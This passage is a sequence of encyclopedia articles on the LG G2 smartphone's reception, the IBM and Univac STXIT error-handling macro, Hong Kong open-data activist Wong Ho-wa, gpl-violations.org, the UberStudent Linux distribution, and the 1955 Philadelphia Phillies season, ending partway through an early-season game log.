LG's Android interface design received mixed reviews; TechRadar gave it a positive review, describing it as being "easy enough for novice and expert smartphone users alike", and noting its dynamic elements and customization features. Its increased customization abilities (including different lock screen and home screen animations, and the ability to change the background and layout of the on-screen navigation buttons) was noted by reviewers. The usefulness of the "Slide Aside" feature was questioned due to the availability of other, more efficient means to switch apps. LG's software was generally panned for being unpolished in places, suffering from feature creep, and containing too many unneeded visual effects and skeuomorphic elements (the latter having generally fallen out of favor). The G2's software was also panned for containing usability digressions in comparison to stock Android, such as the notification tray being taken up by options, not using Android 4.2's updated "Complete action using" menu and behavior, and, despite using on-screen buttons, continued use of the "Menu" key which was officially deprecated by Google in its Android human interface guidelines for Android 4.x (on apps which comply with the HIG, overflow menus are intended to be displayed within the apps themselves. The device's Menu key is replaced by a "Recent apps" key, and a small "Menu" key appears to the side when needed). The Nexus 5 was released by LG shortly afterwards and shares much of the G2's hardware albeit with a lower-quality rear camera and smaller battery to hit a lower price point; the Nexus 5 has been touted as a clean Android software alternative with the added advantage of running the latest Android 4.4 "KitKat" while the G2 had to make do with a bloatware-filled Android 4.2.2 "Jelly Bean" for a time.
The G2's rear-facing camera was considered good for its class, with its processor contributing to quicker HDR photo processing than its competitors. The Verge remarked that despite LG having "practically stole[n]" Samsung's camera design and modes, the G2's camera interface were among the better implementations of Android camera software due to its available options. However, its low-light photos and some of its other modes were panned for not being as good as those of other devices such as the Nokia Lumia 920 and HTC One. In a photography-focused review by Digital Photography Review, the optical image stabilization system was praised for helping maintain good levels of exposure, and well-lit photos were found to have a decent level of detail, noting that its lens was "sharp pretty much all across the frame and free of chromatic aberrations." However, it was noted that "as the light gets dimmer and in the ISO starts to increase", the device began to suffer from "very heavy-handed noise reduction which results in visible softness", and further noted that "[its] detail starts to suffer as soon as you go higher than base ISO and by ISO 400 most low-contrast detail is gone." However, in a December 2013 comparison against other recent phones such as the One, Galaxy S4 Zoom, Xperia Z1, iPhone 5S, and Lumia 1020 by TechRadar, the G2 was named the best cameraphone of the six for "[performing] very well in terms of picture quality, ease of use and functionality, as well as post processing", although it was panned for not having as many options as its competitors, and for the probability of fingers accidentally getting into landscape shots due to the positioning of the lens.
Sales
In December 2013, Asia Today reported that 2.3 million units of the G2 had been sold since its release in September 2013, with at least 600,000 sold in South Korea alone. These numbers were below LG's original estimates of 3 million units. However, later in the month, news agency Yonhap reported more positive numbers from analysts, with at least 3 million units sold and 900,000 sold in South Korea.
See also
References
External links
Android (operating system) devices
LG Electronics mobile phones
Smartphones
Mobile phones introduced in 2013
Discontinued smartphones
Mobile phones with infrared transmitter
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https://en.wikipedia.org/wiki/STXIT
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STXIT
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STXIT is a macro instruction for the DOS/360 operating system for the IBM System/360 series of mainframe computers, and its successors on later mainframe series, and was also available for the UNIVAC Series 90 mainframes running its TOS/DOS operating system and later on its VS/9 operating system.
Background
The macro was an abbreviation of the term "Set Exit," and was used by programs written in assembly language. It is used to create a recovery routine in the event of program errors, similar to signal handlers in C and Try/Finally blocks in C++, Java and other object oriented languages.
The STXIT macro would provide an error recovery address for several major types of errors and certain operator signals. The errors covered depended upon the operating system. In general, the errors which it provided recovery included
address protection violate (accessing memory not owned by the application)
privilege violation (attempts to execute privileged instructions)
divide check (division by zero)
floating point check (floating point underflow or overflow)
timer runout (where a timer set by the program has expired) this particular interrupt is not actually an error, it is how a program responds to a watchdog timer
Interrupt resume, a function on the UNIVAC Series 90 where an interactive user has issued a break to a program to go to command mode, and issued an INTR command to cause the program to resume at the INTR point. If the program has not specified an INTR resume address, the INTR command is rejected. This is similar to the REENTER command on the RT-11 operating system on Digital computers.
The timer interrupt STXIT provided a mechanism for sampling program execution and was used by various legacy performance analyzers. Essentially a PSW was gathered for each time interval and used for later analysis to determine hot spots.
The program check STXIT provided a mechanism for program animation via the deliberate introduction of invalid opcodes (on the fly) to locations in the target programs. Once the exit recovery was entered, the original opcode would be restored ready for later resumption and a new location set.
Macro format
The format of the macro call depended upon the system it was used upon.
IBM DOS/VSE
For DOS/VSE it was one of two forms, either the macro call to establish (create) a STXIT routine to handle the appropriate event, or a macro call to de-establish (no longer handle) the event. To establish a STXIT routine, you would code:
[label] STXIT {AB|IT|PC|OC|TT}, RoutineAddress, SaveArea [,OPTION= {DUMP|NODUMP} ] comment
Where
label - the optional label for this statement.
First argument: One of , , , , or must be used. These indicated which event you were handling for that particular STXIT call. Except for the AB handler, a STXIT handler routine completed through use of the EXIT macro. To handle more than one event, multiple invocations of the macro must be used, each one specifying a single event. These codes indicate:
- Abnormal task termination. A task is being terminated other than because of issuance of a CANCEL, DETACH, DUMP, or EOJ macro. The OPTION= parameter is only used with this type of routine. This determines whether a program dump is issued once the STXIT routine completes. If an abnormal task termination occurs without a STXIT routine to handle it, the program is terminated with an error. is also used if there is a Program Check event during any other STXIT routine. An routine cannot exit to return to the failing program, the routine must complete with a request to terminate the program via an EOJ, CANCEL, DETACH or DUMP macro.
- Interval Timer. The program created an interval timer and the amount of time to measure has expired. An Interval Timer event is ignored if no STXIT routine exists to handle it. If additional Interval Timer events occur while an Interval Timer event is being serviced, they are delayed until the routine exits. Return from the routine is to the instruction that would have executed.
- Program Check. The program has executed an illegal instruction, used data in an unallowed manner, or otherwise had a programming error. The STXIT routine can provide a clean recovery of the program in such cases. If a Program Check event occurs when no routine is provided, the program is terminated with an error. If a Program Check event occurs during a STXIT routine (other than AB), the AB routine is invoked. Return from the PC routine is to the next instruction after the failing one, unless the STXIT routine terminates the program.
- Operator communication. The Operator has pressed the request key and issued a MSG command. This is ignored if no STXIT routine exists to handle it. Return from the routine is to the instruction that would have been executed.
- Task timer runout. If a Task Timer is enabled through the SETT macro, this routine is used to handle them. If a task timer event occurs and no STXIT routine exists to handle it, the timer is ignored. If a subsequent task timer occurs while in a task timer handler routine, the event is ignored. Return from the routine is to the instruction that would have been executed.
RoutineAddress - the label of the routine to handle this event
SaveArea - a 72-byte area in which to save contents of the general registers, with standard savearea construct (the first two words are back and forward pointers, and the remaining words are used to save registers 14,15 and 0 through 12. Each STXIT routine must have its own save area, as it is possible for one STXIT routine to be interrupted by another, for example, the interval timer might fire while handling a task timer. The STXIT routines registers are saved automatically there when the routine is invoked, and are restored automatically when the EXIT macro is issued
Everything beginning one space after the last parameter is a comment.
When a STXIT routine completes, it returns to the point where it was invoked via the EXIT macro to return to the appropriate point where called, unless it is an AB routine, in which case it is not permitted to return and must issue a termination macro (EOJ, CANCEL, DETACH or DUMP).
To de-establish, or cancel a STXIT routine, you would code:
label STXIT {AB|IT|PC|OC|TT} comment
to cancel the routine for that event. Everything beginning one space after the parameter is a comment.
IBM z/VSE
For z/System VSE, all STXIT functions provided previously by IBM DOS/VSE are still supported. In addition, a new STXIT macro function 'Disabled Timer Appendage (DIE)' is available, but only for use in Supervisor Mode (Key 0, PSW privilege bit =1). Format is:
label STXIT DIE,rtnaddr|(1)
Where DIE means the routine is to handle a "Disabled Interval timer Event", and rtnaddr is the address to handle the expiration of an interval timer when a Set TOD event is coded. The address may instead be specified as (1), meaning the address is stored in register 1. The routine is subject to strict restrictions including not changing any register contents or using most SVCs.
Univac VS/9
For Univac VS/9 it was
[label] STXIT R,[abend][,[progcheck][,[intr][,[setic][,[time][,[shutdown]]]] comment
Where
label was the optional branch label used for the instruction
STXIT is the name of the macro to the called
R is used to indicate the class of STXIT call to be made (there were other formats created later)
abend is the label of an optional routine used to handle abnormal termination, which is any program termination other than the TERM, EXEC or EOJ macro. The program has 30 seconds of cpu time or 5 minutes of wall-clock time to recover and terminate itself or request execution of a new program, or the program is terminated automatically. Failure to have an abend routine causes the program to be terminated with an E079 error. The abend handler cannot return to the program, it must terminate with TERM or EOJ (or execute another program with EXEC) when it completes. The abend handler is also called if a progcheck occurs in the progcheck STXIT routine; a progcheck during an abend routine terminates the program immediately with an EO79 error, allowing the user to request a PDUMP if desired, unless a shutdown is in progress in which case the EO79 error is displayed, and the program is cancelled without allowing the user to request a PDUMP, and the user is automatically logged off.
progcheck is the label of an optional routine used to handle program checks, which are any errors in the program. If a progcheck routine is not present, the abend routine is invoked; if no abend routine exists either, the program is terminated with an EO79 error and the user has the option of requesting a PDUMP. Return is to the instruction after the failing one unless this routine specifies a new address. A progcheck occurring in any STXIT routine except progcheck and abend is passed here; a program check during the program check handler causes the abend routine to be invoked. A program check during the ABEND handler causes the program to terminate.
intr is the label of an optional routine used to handle the INTR command from the user's terminal after the user presses the break key on the keyboard. If no INTR routine exists, an INTR command by the user is rejected but the user may issue the R command to resume at the point of interrupt. Return is to the instruction being executed when the user issued a break unless this routine specifies a new address.
setic is the label of an optional routine used if the program issued the SETIC macro to create an Interrupt Condition timer. The IC timer is ignored if no handler routine exists for it. Return is to the instruction after the interrupt occurs unless this routine specifies a new address.
time is the label of an optional routine used if the user issued a TIME= parameter when executing the program to indicate it should break when the amount of CPU time has been consumed. When the routine finishes, the program will break, and the user can issue an INTR command to invoke the INTR routine, or issue the R command to resume the program when the time interrupted. If no time routine exists, the break occurs normally.
shutdown is the label of an optional routine used if the system console operator has requested to shut down timesharing. The program has a short period to allow itself to clean up any necessary features and quit. When the routine completes, the program is terminated and the user automatically logged off. If no shutdown routine exists, the program is cancelled without warning and the user automatically logged off.
everything beginning one space after the last parameter was a comment.
As the STXIT macro on VS/9 was parameter based, missing entries had to be entered with commas, e.g. if only the third item was being handled, the format would be
STXIT R,,,RTN1
To remove one or more handlers, the STXIT macro is re-invoked with a blank entry for the handlers to be removed. Only one STXIT macro call can be in effect at any time.
If a class of event is not being handled, it is omitted, and there would be two (or more) commas in a row to indicate this. An unhandled class of event causes that error to be handled by the operating system's "default" handler. For events representing critical errors (abend and progcheck), the program is terminated with an EO79 error and the user has the option to request a PDUMP; for non-critical events the event is ignored.
Later developments
Later error recovery systems would provide for specifying errors explicitly as opposed to by the position of the parameter on the STXIT macro.
Univac's VS/9 continued to support STXIT but also added the CRTN ("Contingency Routine") macro to provide even more powerful error recovery, as well as recovery of some errors which STXIT did not capture. Originally, CRTN and STXIT could not be used together. Later releases of the operating system provided for both; if a CRTN and a STXIT macro were both used, the CRTN handled any events not covered by STXIT; if both were used to cover an event, the STXIT routine handled the event and the CRTN routine was not invoked.
References
IBM mainframe operating systems
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https://en.wikipedia.org/wiki/Wong%20Ho-wa
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Wong Ho-wa
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Wong Ho-wa (, also known as Howa Wong) is a Hong Kong data scientist and pro-democracy activist. He led the open government data community g0vhk from 2016 to 2021. He was an Election Committee member representing the information technology (IT) industry from 2016 to 2021 and ran for the Information Technology constituency in the 2020 Hong Kong legislative election as part of the pro-democratic caucus.
Early life
Wong grew up in North District, Hong Kong and lived in a public housing estate. He attended Tung Wah Group of Hospitals Kap Yan Directors' College and Saint Francis of Assisi's College, and was a three-time medallist in the Hong Kong Olympiad in Informatics. His personal interest in democratic activism began when with the 500,000-strong demonstration against the National Security Bill 2003, in which he participated as a secondary school student.
He studied computer engineering at the Hong Kong University of Science and Technology and began his professional career in software engineering. He worked in Beijing in 2013-14. He relocated back to Hong Kong around the time of the Umbrella Movement protests and began taking part internet freedom advocacy alongside his data scientist career.
Open data activism
In 2016, Wong founded g0vhk on the model of g0v Taiwan, a technology advocacy group for open government data. He led the creation of a g0vhk open political data platform collating attendance, speech, and voting records of incumbent Hong Kong legislative councillors, and information about candidates in the 2016 general election. Later that year, Wong ran for election to the Election Committee as a member of the IT Vision slate, part of the Democracy 300+ caucus to increase the pro-democratic camp's influence in the 2017 Hong Kong Chief Executive election. IT Vision won all 30 seats in the Information Technology subsector due to the multiple non-transferable vote system.
Wong advocates that public bodies not only need to make content available to the general public, but also make them available in machine-readable formats. He criticized the complacency of civil servants who think they have complied with open data regulations but only post scan images of documents. He supports legislating a Public Records Act to codify the requirements for public bodies to disclose information, because the existing Code on Access to Information lacks enforceability.
Wong believes in an approach to open data that balances the right to know and the right to privacy. He criticized the Hong Kong public sector for using privacy concerns as an excuse to withhold data, exemplifying this issue with the abundance of rumours that stemmed from the Hong Kong Police Force's reluctance to publish data about tear gas use and about arrestees at protests. On the other hand, he also campaigned against the introduction of smart lamp-posts that have the hardware capability to record pedestrians' faces. Wong opined that, even if the Hong Kong government promises not to use facial recognition technology on the lamp-post footage, such footage would be a target of cyberattacks by malicious actors with access to facial recognition. During the 2019 Hong Kong protests, Wong represented the IT industry in a Citizen's Press Conference and responded to a question about vandalism of smart lamp-posts by protesters, saying that the general public was skeptical about the true purposes of the lamp-posts. He opined that technology innovation depends on trust, thus technology policy would be meaningless unless the government attempted to regain public trust by compromising on the Five Demands.
Ahead of the 2019 Hong Kong local elections, Wong led the g0vhk project Vote4.hk, which collated public data about candidates and compiled voter guides. The pro-democratic camp won a landslide victory in the elections, but Wong criticized that the district councils continued to lag behind the trend in terms of open data, citing the difficulty for the general public to obtain data about council budgets, and even where data were available often only scans of paper documents would be provided, making it difficult for citizens to monitor their council's performance.
In January 2020, Wong Ho Wa and Vote4.hk colleagues Brian Leung and Nandi Wong saw that public information about the Covid-19 pandemic in Hong Kong was disorganized, so they created the COVID-19 in HK dashboard to collate information about confirmed cases, disease transmission hotspots, and surgical mask market prices. The dashboard attracted 400,000 page views per day during the peak of the pandemic and was maintained by a team of some 20 volunteers assisted by automatic web crawlers. Wong Ho Wa said that the hardest part of maintaining the dashboard was finding committed volunteers to fact-check reports of unscrupulous mask merchants. Wong criticized the Centre for Health Protection's (CHP) practice of withholding data about new Covid-19 cases from their website for many hours after their daily press conference, which forced data reusers to watch CHP's press conferences in order to obtain the latest data. Nevertheless, Wong commended the CHP for providing an API for its coronavirus case data and that the Hong Kong government's open data practices had improved significantly in the late 2010s, even though Hong Kong still fell short of the Open Knowledge Foundation's standards, lagging behind nearby regions like Shanghai and Taiwan.
LegCo campaign
In July 2020, Charles Mok, the incumbent Information Technology functional constituency representative in Hong Kong Legislative Council (LegCo), announced that he would not seek re-election. In an interview, Mok said that he had been searching for a "Plan B" candidate in preparation for possible widespread disqualification of incumbent pro-democratic legislators, but in the process decided that he should retire from LegCo and endorse a younger candidate as his "Plan A" instead.
On 19 July, Wong Ho Wa declared his candidacy for the Information Technology constituency in the 2020 general election. In his manifesto, he said that he had been a longstanding supporter of liberal democracy. He stated that the Hong Kong national security law threatened internet freedom in Hong Kong, which was the lifeline of Hong Kong's IT industry, and that "the Great Firewall of China is now at our doorstep". He focused his campaign on using IT expertise to advocate for the freedom of information and for civic participation in government.
Commentators generally classify Wong as a moderate democrat. Wong and several other pro-democratic candidates for the functional constituencies signed the "confirmation form" pledging allegiance to the Hong Kong Basic Law, despite the form being a source of disagreement within the pro-democratic camp. Wong said he did not want to define himself in terms of any specific political faction, as he wanted to represent the broad range of political opinions within the IT industry. The 2020 general election was eventually postponed by the Hong Kong government, ostensibly due to the pandemic, and eventually replaced by the revamped 2021 Hong Kong legislative election and the 2021 Hong Kong Election Committee Subsector elections.
In January 2021, police raided Wong's home and office in Hong Kong amidst the mass arrests of participants of the pro-democracy legislative election primaries, but Wong was not arrested. The pro-democracy primaries did not include the Information Technology constituency in which Wong sought election to LegCo. In June, Wong announced that g0vhk was to be disbanded due to changes in the political climate.
The Information Technology functional constituency was abolished in the 2021 elections and replaced by a "Technology and Innovation" functional constituency whose franchise was limited to representatives of about 100 industry groups vetted by the government. Wong declined to run in the revamped elections, citing the restriction of voter franchise, and accordingly retired as an Election Committee member.
References
External links
GitHub: howawong
g0vhk
Wong Ho Wa 2020 official website
Hong Kong democracy activists
Hong Kong engineers
Data scientists
Living people
Members of the Election Committee of Hong Kong, 2017–2021
Year of birth missing (living people)
|
3399657
|
https://en.wikipedia.org/wiki/Gpl-violations.org
|
Gpl-violations.org
|
gpl-violations.org is a not-for-profit project founded and led by Harald Welte in 2004. It worked to make sure software licensed under the GNU General Public License was not used in ways prohibited by the license.
Goals
The goals of the project were, according to its website, to:
Raise public awareness of the infringing use of free software, and thus putting pressure on the infringers,
Give users who detect or assume GPL-licensed software is being misused a way to report them to the copyright holders,
Assist copyright holders in any action against GPL infringing organizations, and to
Distribute information on how a commercial entity using GPL licensed software in their products can comply with the license.
In May 2008, gpl-violations.org and the Free Software Foundation Europe Freedom Task Force announced that they were to deepen their previous cooperation. The FSFE Freedom Task Force will be focusing on educating and informing, while gpl-violations.org will focus on enforcing the GPL.
History
The gpl-violations.org project was founded in 2004 by Harald Welte. Welte was a kernel developer who had been actively enforcing the GPL license on his netfilter/iptables code since late 2003. Since then, other developers have given gpl-Violations.org legal right to represent them. While the Software Freedom Conservancy's GPL Compliance Project for Linux Developers, operates from the USA, gpl-violations.org operates from Germany, Welte's home country. Armijn Hemel has been a notable contributor since 2005.
The project has been credited with being the first to prove in court that the GPL is valid and that it will stand up in court.
Project creator Harald Welte received the 2007 FSF Award for the Advancement of Free Software, partly because of his work on gpl-violations.org.
From January till October, 2015, the website was offline and no longer resolved. It planned to continue its activities in 2016. Its activities resumed by November 2015.
Notable victories
Fortinet
In 2005, the gpl-violations.org project uncovered evidence that Fortinet had used GPL code in its products against the terms of the license, and used cryptographic tools to conceal the violation. The violation was alleged to have occurred in the FortiOS system, which the gpl-violations.org project said contained elements of the Linux kernel. In response, a Munich court granted a temporary injunction against the company, preventing it from selling products until they were in compliance with the necessary license terms; Fortinet was forced to make their FortiOS available free in compliance with GPL licensing.
D-Link
On September 6, 2006, the gpl-violations.org project prevailed in court litigation against D-Link Germany GmbH regarding D-Link's alleged inappropriate and copyright infringing use of parts of the Linux kernel. The judgement finally provided the on-record, legal precedent that the GPL is valid and that it will stand up in German courts.
See also
Harald Welte
Software Freedom Conservancy
Free Software Foundation Europe
Commercial use of free software
References
External links
GNU Project
Free software websites
Free and open-source software organizations
Intellectual property activism
Computer law
Copyright infringement of software
Organizations established in 2004
2004 establishments in Germany
ru:Gpl-violations.org
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31917605
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https://en.wikipedia.org/wiki/UberStudent
|
UberStudent
|
UberStudent is a free and open-source computer operating system and collection of programs aimed especially toward higher education and secondary students and their teachers and schools. The lead developer of the Linux distribution placed the project on hold in May 2019 due to his son being amid a protracted battle with Acute lymphoblastic leukemia.
Dubbing itself "Linux for Learners", UberStudent describes itself as "a cohesive academic success curriculum integrated into an installable, easy-to-use, and full-featured learning platform" aimed at increasing overall student learning and academic computer literacy, and lifelong computer fluency. Its additional aim is to increase the adoption of free and open-source computing platforms, like itself, within higher education and secondary schools. It is designed around a "core academic skills approach to student success," which it describes as "the research and writing, reading, studying, and self-management skills that are essential to all students regardless of their academic major."
UberStudent's current release is 4.3, dubbed Heraclitus. The distribution uses its own dedicated software repository. It can be run from a live CD, USB flash drive, or installed onto a computer's hard drive from either of those mediums.
Support for the last published version, UberStudent 4.3, based on Ubuntu 14.04, ended in May 2019. As of May 26, 2019, the distribution's website went offline, while the domains are still owned by Uberstudent's lead developer, Stephen Ewen. Prior that date and afterward, per official statements made by Ewen on Uberstudent's official webpage, and added to in its lone public internet outlet afterward, Facebook. According to him, the project has been placed on hold, not discontinued or abandoned, because his son has been in a protracted battle with Acute lymphoblastic leukemia, which he detailed.
Origin and design
UberStudent's founder and lead developer is Stephen Ewen, a U.S.-based educator who specializes in postsecondary literacy, academic success strategies, and educational technology. He began UberStudent, he has said, as "a way to place a set of smart and dedicated computing tools, and just the right amount of support, into the hands of students, whether currently within higher education or preparing for it in secondary school." His stated goal through UberStudent is for students to "learn to really excel at the core skills and habits they need to become everything they can academically be, and on into professional life." Ewen has stated that UberStudent is, in part, inspired by his own experiences achieving top academic performance with the assistance of educational technology.
Ewen has described UberStudent's overarching design philosophy as one that provides a "unified system for learning, doing, and teaching academic success". Within this, he has said that UberStudent takes what he calls a "core academic skills" approach, which he has delineated as "the skills in research and writing, studying, and self-management required of students across all academic majors". He has stated that UberStudent can be "easily extended" for specific majors via additional software. Ewen has additionally asserted that, in part due to UberStudent's open source and cross-platform nature, as well as its Unix-like base, it is geared to produce "computer fluency" among its users as a "more or less natural outcome".
Ewen has argued that academic institutions can increase both their student learning outcomes and economic efficiency by more broadly adopting open source application and system software for everyday student academic computing needs. He has additionally argued for academic institutions to increase their involvement in developing open source tools, such as UberStudent, citing successes such as the bibliographic manager Zotero by George Mason University, included among UberStudent's set of core academic programs.
Software and system
Nearly all of UberStudent's software is free and open-source and its core programs cross-platform so its adopters can avoid vendor lock-in, whether with Windows, Mac OS X, or Linux. The tech review site Dedoimedo reviewed UberStudent as containing a "superb" collection of "smartly selected" programs, "probably the best when it comes to serious work", with each "stitched into the fabric of the operating system". Tech columnist Jack Wallen said UberStudent "contains so many education-specific tools you will be spending your first days with it just marveling at what the developers have packed into one single operating system."
UberStudent's core programs for academic work are clustered within an applications menu entry, Education, where they are organized by sub-categories, including for Reading, Research and Writing, Self-Management, Study Aids, Subjects, and Utilities, which themselves have sub-categories. In addition to its academic-specific application set, reviewers have noted UberStudent's inclusion of templates for academic work and "tons" of on-board how-to guides as "welcome additions" that are "often missing" from other operating systems. UberStudent also contains a full range of student-oriented programs in the Multimedia, Games, Graphics, Internet, and several other categories. Within a separate menu, it contains select cloud computing applications that have been described as containing additions "you don't often see elsewhere".
Within its stated intent to couple user-friendliness with security and stability, UberStudent production releases are based on Xubuntu Long Term Stable releases, which stems from the Debian branch of Linux. UberStudent also includes numerous self-developed programs, as well as its own Update Manager and the deb file format to manage and update its platform.
Editions
UberStudent main editions are distributed as a DVD image or pre-made disc. The full edition features the Xfce desktop environment, and the lightweight edition the LXDE desktop environment. The LXDE lightweight edition is greatly scaled down and is intended solely "to re-invigorate low-specification or older computers" and fits on a single CD.
Criticisms of competing desktop environments
Amid his decision to feature Xfce in UberStudent full editions, Ewen stated that "UberStudent must prefer stability, dependability, and traditional usability over the novel when it comes to such a major thing as the basic desktop environments it uses; and it will."
GNOME 3, Ubuntu Unity
During UberStudent's 2.0 release cycle, Ewen criticized the designs of both the Ubuntu Unity and GNOME 3 Shell Linux desktop environments as hindrances to student academic computing productivity. In a 2011 April Fools' Day satire, he announced an "UberStudent Dumbed Down Edition" featuring the GNOME 3 Shell. Pointing to what he called "the enforced helplessness" leading to "learned helplessness" that he says the GNOME 3 developers designed into their new desktop environment, he stated that the intent behind the spoof UberStudent edition was to "obscure what is not obvious and easy so it can be continually avoided" by students and thus never learned. In a May 2011 interview, Ewen expanded his criticisms of Unity and GNOME 3 by citing specific usability issues, and stated that UberStudent had no plans to adopt either Unity or the GNOME 3 Shell.
Cinnamon
Amid UberStudent's 3.0 release cycle, Ewen criticized the Cinnamon desktop environment, developed by Linux Mint, pointing out what he called "major shortcomings" in Cinnamon, which he stipulated as its failure to honor certain fundamental freedesktop.org standards. Ewen stated that, while the desktop environment holds promise, "Cinnamon as of its full May 2013 version 1.8 release is actually beta-quality software." As such, he characterized Cinnamon as "not at all yet suited for a serious and stable workstation.
Releases and naming
According to Ewen, "UberStudent dubs each of its major releases after a famous historical thinker", a practice he describes as "only fitting" in light of UberStudent's educational mission. So far, the thinkers have been Greek and Roman. UberStudent's version 0.9, the first beta, was released on 15 January 2010 and named after Thales. Version 1.0, released on 15 July 2010, was named after Cicero. 1.0 also had a brief pre-release edition, once inadvertently reviewed as the release edition. UberStudent 1.0 Cicero Lightweight Edition was released on 4 September 2010 and inherited the name Cicero from the full edition. UberStudent 2.0 was dubbed "Plato," UberStudent 3.0 was dubbed "Aristotle," and the 4.0 release "Socrates". The current release, 4.3, is dubbed "Heraclitus."
5.0 is being delayed due to Ewen's son being diagnosed with Acute lymphoblastic leukemia.
Reception
UberStudent has been described by reviewers as "highly in tune with student needs", "loaded with student-friendly tools and customizations", "perfect for the higher education environment", succeeding at its aims "with aplomb, elegance, and power", "a smart pick for getting your actual schoolwork done", and "fantastic and delicious". It received a positive review in The Chronicle of Higher Education, which cited UberStudent's completeness for doing core academic work, user-friendliness, and free and open-source nature. Sixty days after UberStudent's official 15 July 2010 release of UberStudent 1.0 Cicero Full Edition, its first non-beta, DistroWatch ranked it the most popular Linux distribution for education worldwide and the 32nd most popular overall out of the 316 varied distributions tracked by the organization. Weeks after the 4.1 release, it ranked as the fifth-most popular Linux distribution in the world.
See also
List of third-party Ubuntu-based Linux distributions
Edubuntu
Edtech
References
External links
UberStudent on SourceForge
UberStudent at DistroWatch
Ubuntu derivatives
Educational software
Free educational software
Educational operating systems
Linux distributions
|
14091963
|
https://en.wikipedia.org/wiki/1955%20Philadelphia%20Phillies%20season
|
1955 Philadelphia Phillies season
|
The 1955 Philadelphia Phillies season was a season in American baseball. It was the first season for Phillies' manager Mayo Smith. Prior to the season, the Phillies were seen to have strong pitching with ace Robin Roberts but did not have power hitters to match pennant favorites Brooklyn, New York, or Milwaukee, behind whom the Phillies finished in fourth place with a record of 77 and 77.
Offseason
Prior to the 1955 season, the Phillies purchased the Ballantine Beer electronic scoreboard from Yankee Stadium for $175,000 from the Yankees. It was placed in right-center field at Connie Mack Stadium. This scoreboard was used through the final year at the ballpark.
Spring training
In March 1955, the Phillies began spring training play at Clearwater's Jack Russell Stadium. The stadium was dedicated on March 10, 1955. Baseball Commissioner Ford Frick, National League president Warren Giles, American League president Will Harridge, Clearwater mayor Herbert M. Brown, and other city dignitaries were in attendance. The Phillies played their first game at the stadium on the day of the dedication. Robin Roberts started for the Phillies against the Detroit Tigers. The Phillies won 4–2 on a two-run double by Willie Jones before 4,209 attendees.
Notable transactions
February 11, 1955: Peanuts Lowrey was signed as a free agent by the Phillies.
February 19, 1955: Jimmie Coker was signed as an amateur free agent by the Phillies.
Prior to 1955 season: Ed Bouchee was purchased by the Phillies from the Spokane Indians.
Regular season
Season standings
Record vs. opponents
Notable transactions
April 30, 1955: Smoky Burgess, Stan Palys and Steve Ridzik were traded by the Phillies to the Cincinnati Redlegs for Andy Seminick, Glen Gorbous, and Jim Greengrass.
Game log
|- style="background:#bbb"
| – || April 12 || Giants || colspan=6 | Postponed (rain); Makeup: May 25 as a traditional double-header
|- style="background:#bfb"
| 1 || April 13 || Giants || 4–2 || Robin Roberts (1–0) || Johnny Antonelli (0–1) || None || 13,219 || 1–0
|- style="background:#bfb"
| 2 || April 14 || @ Pirates || 4–3 || Herm Wehmeier (1–0) || Dick Littlefield (0–1) || None || 23,540 || 2–0
|- style="background:#bbb"
| – || April 15 || @ Pirates || colspan=6 | Postponed (rain, wet grounds); Makeup: May 29 as a traditional double-header
|- style="background:#fbb"
| 3 || April 16 || @ Giants || 3–8 || Jim Hearn (1–0) || Jack Meyer (0–1) || None || 11,163 || 2–1
|- style="background:#bfb"
| 4 || April 17 (1) || @ Giants || 4–2 (11) || Robin Roberts (2–0) || Johnny Antonelli (0–2) || None || see 2nd game || 3–1
|- style="background:#bfb"
| 5 || April 17 (2) || @ Giants || 4–2 || Murry Dickson (1–0) || Sal Maglie (0–2) || None || 16,166 || 4–1
|- style="background:#fbb"
| 6 || April 18 || Dodgers || 2–5 || Carl Erskine (2–0) || Herm Wehmeier (1–1) || Ed Roebuck (1) || 30,896 || 4–2
|- style="background:#fbb"
| 7 || April 19 || Dodgers || 6–7 || Don Newcombe (2–0) || Jim Owens (0–1) || Ed Roebuck (2) || 19,930 || 4–3
|- style="background:#fbb"
| 8 || April 20 || @ Dodgers || 2–3 || Billy Loes (2–0) || Steve Ridzik (0–1) || Clem Labine (1) || 9,942 || 4–4
|- style="background:#fbb"
| 9 || April 21 || @ Dodgers || 4–14 || Joe Black (1–0) || Robin Roberts (2–1) || None || 3,874 || 4–5
|- style="background:#bfb"
| 10 || April 22 || Pirates || 5–4 || Bob Miller (1–0) || Roger Bowman (0–1) || None || 5,821 || 5–5
|- style="background:#bfb"
| 11 || April 23 || Pirates || 8–0 || Murry Dickson (2–0) || Ron Kline (0–2) || None || 4,132 || 6–5
|- style="background:#fbb"
| 12 || April 24 (1) || Pirates || 1–6 || Max Surkont (1–2) || Jim Owens (0–2) || None || see 2nd game || 6–6
|- style="background:#bfb"
| 13 || April 24 (2) || Pirates || 3–0 || Jack Meyer (1–1) || Nellie King (0–1) || Robin Roberts (1) || 8,224 || 7–6
|- style="background:#bbb"
| – || April 26 || Cardinals || colspan=6 | Postponed (wet grounds); Makeup: July 22 as a traditional double-header
|- style="background:#bfb"
| 14 || April 28 || Braves || 3–2 || Robin Roberts (3–1) || Lew Burdette (2–1) || None || 12,963 || 8–6
|- style="background:#bfb"
| 15 || April 29 || Braves || 13–4 (8) || Herm Wehmeier (2–1) || Warren Spahn (2–2) || None || 12,146 || 9–6
|- style="background:#fbb"
| 16 || April 30 || Braves || 2–4 || Chet Nichols (2–0) || Murry Dickson (2–1) || Humberto Robinson (2) || 7,739 || 9–7
|-
|- style="background:#fbb"
| 17 || May 1 (1) || Cubs || 7–8 || Hal Jeffcoat (2–0) || Lynn Lovenguth (0–1) || Bubba Church (1) || see 2nd game || 9–8
|- style="background:#fbb"
| 18 || May 1 (2) || Cubs || 2–4 || Hal Jeffcoat (3–0) || Jack Meyer (1–2) || Warren Hacker (1) || 13,917 || 9–9
|- style="background:#fbb"
| 19 || May 2 || Cubs || 1–2 || Warren Hacker (1–1) || Robin Roberts (3–2) || None || 7,964 || 9–10
|- style="background:#fbb"
| 20 || May 3 || Redlegs || 5–7 || Bud Podbielan (1–0) || Jack Spring (0–1) || None || 6,029 || 9–11
|- style="background:#fbb"
| 21 || May 4 || Redlegs || 3–7 || Gerry Staley (3–2) || Ron Mrozinski (0–1) || Art Fowler (1) || 5,531 || 9–12
|- style="background:#fbb"
| 22 || May 6 || Dodgers || 4–6 (12) || Don Newcombe (3–0) || Jack Meyer (1–3) || None || 22,420 || 9–13
|- style="background:#fbb"
| 23 || May 7 || Dodgers || 3–6 || Carl Erskine (5–0) || Robin Roberts (3–3) || None || 27,922 || 9–14
|- style="background:#fbb"
| 24 || May 8 || Dodgers || 8–9 || Johnny Podres (3–1) || Herm Wehmeier (2–2) || Jim Hughes (4) || 13,738 || 9–15
